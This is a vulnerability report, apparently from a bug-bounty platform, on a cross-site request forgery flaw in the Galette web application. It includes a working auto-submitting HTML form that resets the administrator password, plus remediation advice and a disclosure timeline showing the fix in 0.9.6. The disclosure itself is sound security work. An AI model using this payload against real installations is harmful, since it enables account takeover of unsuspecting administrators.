Cross-Site Request Forgery (CSRF) in galette/galette

Valid

Reported on

Nov 7th 2021


Description

Hello, Looking at the Galette application, I could observe that it is not protected against CSRF (Cross-Site Request Forgery)

From OWASP : Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing.

Indeed, the critical areas including the administration have no protection against this attack. It would therefore be possible to change the administrator's password at one's own discretion.

Proof of Concept

  1. Login to your administrator account
  2. In another window, open an HTML page with the following content (This simulates a link sent to the victim)
  3. Your password is changed to P@ssw0rd.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://0.0.0.0/galette/galette/webroot/index.php/preferences" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="pref&#95;nom" value="Galette" />
      <input type="hidden" name="pref&#95;slogan" value="" />
      <input type="hidden" name="pref&#95;footer" value="" />
      <input type="hidden" name="logo" value="" />
      <input type="hidden" name="pref&#95;adresse" value="&#45;" />
      <input type="hidden" name="pref&#95;adresse2" value="" />
      <input type="hidden" name="pref&#95;cp" value="" />
      <input type="hidden" name="pref&#95;ville" value="" />
      <input type="hidden" name="pref&#95;pays" value="" />
      <input type="hidden" name="pref&#95;postal&#95;adress" value="0" />
      <input type="hidden" name="pref&#95;postal&#95;staff&#95;member" value="&#45;1" />
      <input type="hidden" name="pref&#95;website" value="" />
      <input type="hidden" name="pref&#95;googleplus" value="" />
      <input type="hidden" name="pref&#95;facebook" value="" />
      <input type="hidden" name="pref&#95;twitter" value="" />
      <input type="hidden" name="pref&#95;linkedin" value="" />
      <input type="hidden" name="pref&#95;viadeo" value="" />
      <input type="hidden" name="pref&#95;lang" value="en&#95;US" />
      <input type="hidden" name="pref&#95;numrows" value="10" />
      <input type="hidden" name="pref&#95;redirect&#95;on&#95;create" value="0" />
      <input type="hidden" name="pref&#95;log" value="1" />
      <input type="hidden" name="pref&#95;statut" value="9" />
      <input type="hidden" name="pref&#95;filter&#95;account" value="0" />
      <input type="hidden" name="pref&#95;membership&#95;ext" value="12" />
      <input type="hidden" name="pref&#95;beg&#95;membership" value="" />
      <input type="hidden" name="pref&#95;membership&#95;offermonths" value="0" />
      <input type="hidden" name="pref&#95;default&#95;paymenttype" value="3" />
      <input type="hidden" name="pref&#95;bool&#95;publicpages" value="1" />
      <input type="hidden" name="pref&#95;publicpages&#95;visibility" value="1" />
      <input type="hidden" name="pref&#95;bool&#95;selfsubscribe" value="1" />
      <input type="hidden" name="pref&#95;new&#95;contrib&#95;script" value="" />
      <input type="hidden" name="pref&#95;rss&#95;url" value="http&#58;&#47;&#47;galette&#46;eu&#47;dc&#47;index&#46;php&#47;feed&#47;atom" />
      <input type="hidden" name="pref&#95;galette&#95;url" value="" />
      <input type="hidden" name="pref&#95;email&#95;nom" value="Galette" />
      <input type="hidden" name="pref&#95;email" value="mail&#64;domain&#46;com" />
      <input type="hidden" name="pref&#95;email&#95;reply&#95;to" value="" />
      <input type="hidden" name="pref&#95;email&#95;newadh" value="mail&#64;domain&#46;com" />
      <input type="hidden" name="pref&#95;bool&#95;wrap&#95;mails" value="1" />
      <input type="hidden" name="pref&#95;mail&#95;method" value="0" />
      <input type="hidden" name="pref&#95;mail&#95;smtp&#95;host" value="" />
      <input type="hidden" name="pref&#95;mail&#95;smtp&#95;port" value="" />
      <input type="hidden" name="pref&#95;mail&#95;smtp&#95;user" value="" />
      <input type="hidden" name="pref&#95;mail&#95;smtp&#95;password" value="" />
      <input type="hidden" name="pref&#95;mail&#95;sign" value="&#123;NAME&#125;&#13;&#10;&#13;&#10;&#123;WEBSITE&#125;&#13;&#10;&#123;GOOGLEPLUS&#125;&#13;&#10;&#123;FACEBOOK&#125;&#13;&#10;&#123;TWITTER&#125;&#13;&#10;&#123;LINKEDIN&#125;&#13;&#10;&#123;VIADEO&#125;" />
      <input type="hidden" name="pref&#95;etiq&#95;marges&#95;v" value="10" />
      <input type="hidden" name="pref&#95;etiq&#95;marges&#95;h" value="10" />
      <input type="hidden" name="pref&#95;etiq&#95;hspace" value="10" />
      <input type="hidden" name="pref&#95;etiq&#95;vspace" value="5" />
      <input type="hidden" name="pref&#95;etiq&#95;hsize" value="90" />
      <input type="hidden" name="pref&#95;etiq&#95;vsize" value="35" />
      <input type="hidden" name="pref&#95;etiq&#95;cols" value="2" />
      <input type="hidden" name="pref&#95;etiq&#95;rows" value="7" />
      <input type="hidden" name="pref&#95;etiq&#95;corps" value="12" />
      <input type="hidden" name="pref&#95;card&#95;abrev" value="GALETTE" />
      <input type="hidden" name="pref&#95;card&#95;strip" value="Gestion&#32;d&apos;Adherents&#32;en&#32;Ligne&#32;Extrêmement&#32;TarabiscotÃ&#169;e" />
      <input type="hidden" name="pref&#95;card&#95;tcol" value="&#35;ffffff" />
      <input type="hidden" name="pref&#95;card&#95;scol" value="&#35;8c2453" />
      <input type="hidden" name="pref&#95;card&#95;bcol" value="&#35;53248c" />
      <input type="hidden" name="pref&#95;card&#95;hcol" value="&#35;248c53" />
      <input type="hidden" name="card&#95;logo" value="" />
      <input type="hidden" name="pref&#95;card&#95;self" value="1" />
      <input type="hidden" name="pref&#95;card&#95;address" value="1" />
      <input type="hidden" name="pref&#95;card&#95;year" value="2021" />
      <input type="hidden" name="pref&#95;card&#95;marges&#95;v" value="15" />
      <input type="hidden" name="pref&#95;card&#95;marges&#95;h" value="20" />
      <input type="hidden" name="pref&#95;card&#95;vspace" value="5" />
      <input type="hidden" name="pref&#95;card&#95;hspace" value="10" />
      <input type="hidden" name="pref&#95;password&#95;length" value="6" />
      <input type="hidden" name="pref&#95;password&#95;strength" value="0" />
      <input type="hidden" name="pref&#95;admin&#95;login" value="admin" />
      <input type="hidden" name="pref&#95;admin&#95;pass" value="P@ssw0rd" />
      <input type="hidden" name="pref&#95;admin&#95;pass&#95;check" value="P@ssw0rd" />
      <input type="hidden" name="valid" value="1" />
      <input type="hidden" name="pref&#95;theme" value="default" />
      <input type="hidden" name="pref&#95;telemetry&#95;date" value="" />
      <input type="hidden" name="pref&#95;instance&#95;uuid" value="" />
      <input type="hidden" name="pref&#95;registration&#95;date" value="" />
      <input type="hidden" name="pref&#95;registration&#95;uuid" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

  • Change administrator password / account takeover

Remediation

Adding occurrences doesn't make much sense here, it's a site-wide problem. You have to add an anti-csrf token for each form (via middleware for example) included in POST requests or via a header. But it is not recommended to try to fix each form independently

We are processing your report and will contact the galette team within 24 hours. a year ago
We have contacted a member of the galette team and are waiting to hear back a year ago
galette/galette maintainer validated this vulnerability a year ago
JoMar has been awarded the disclosure bounty
The fix bounty is now up for grabs
Johan Cwiklinski marked this as fixed in 0.9.6 with commit a5602b a year ago
Johan Cwiklinski has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation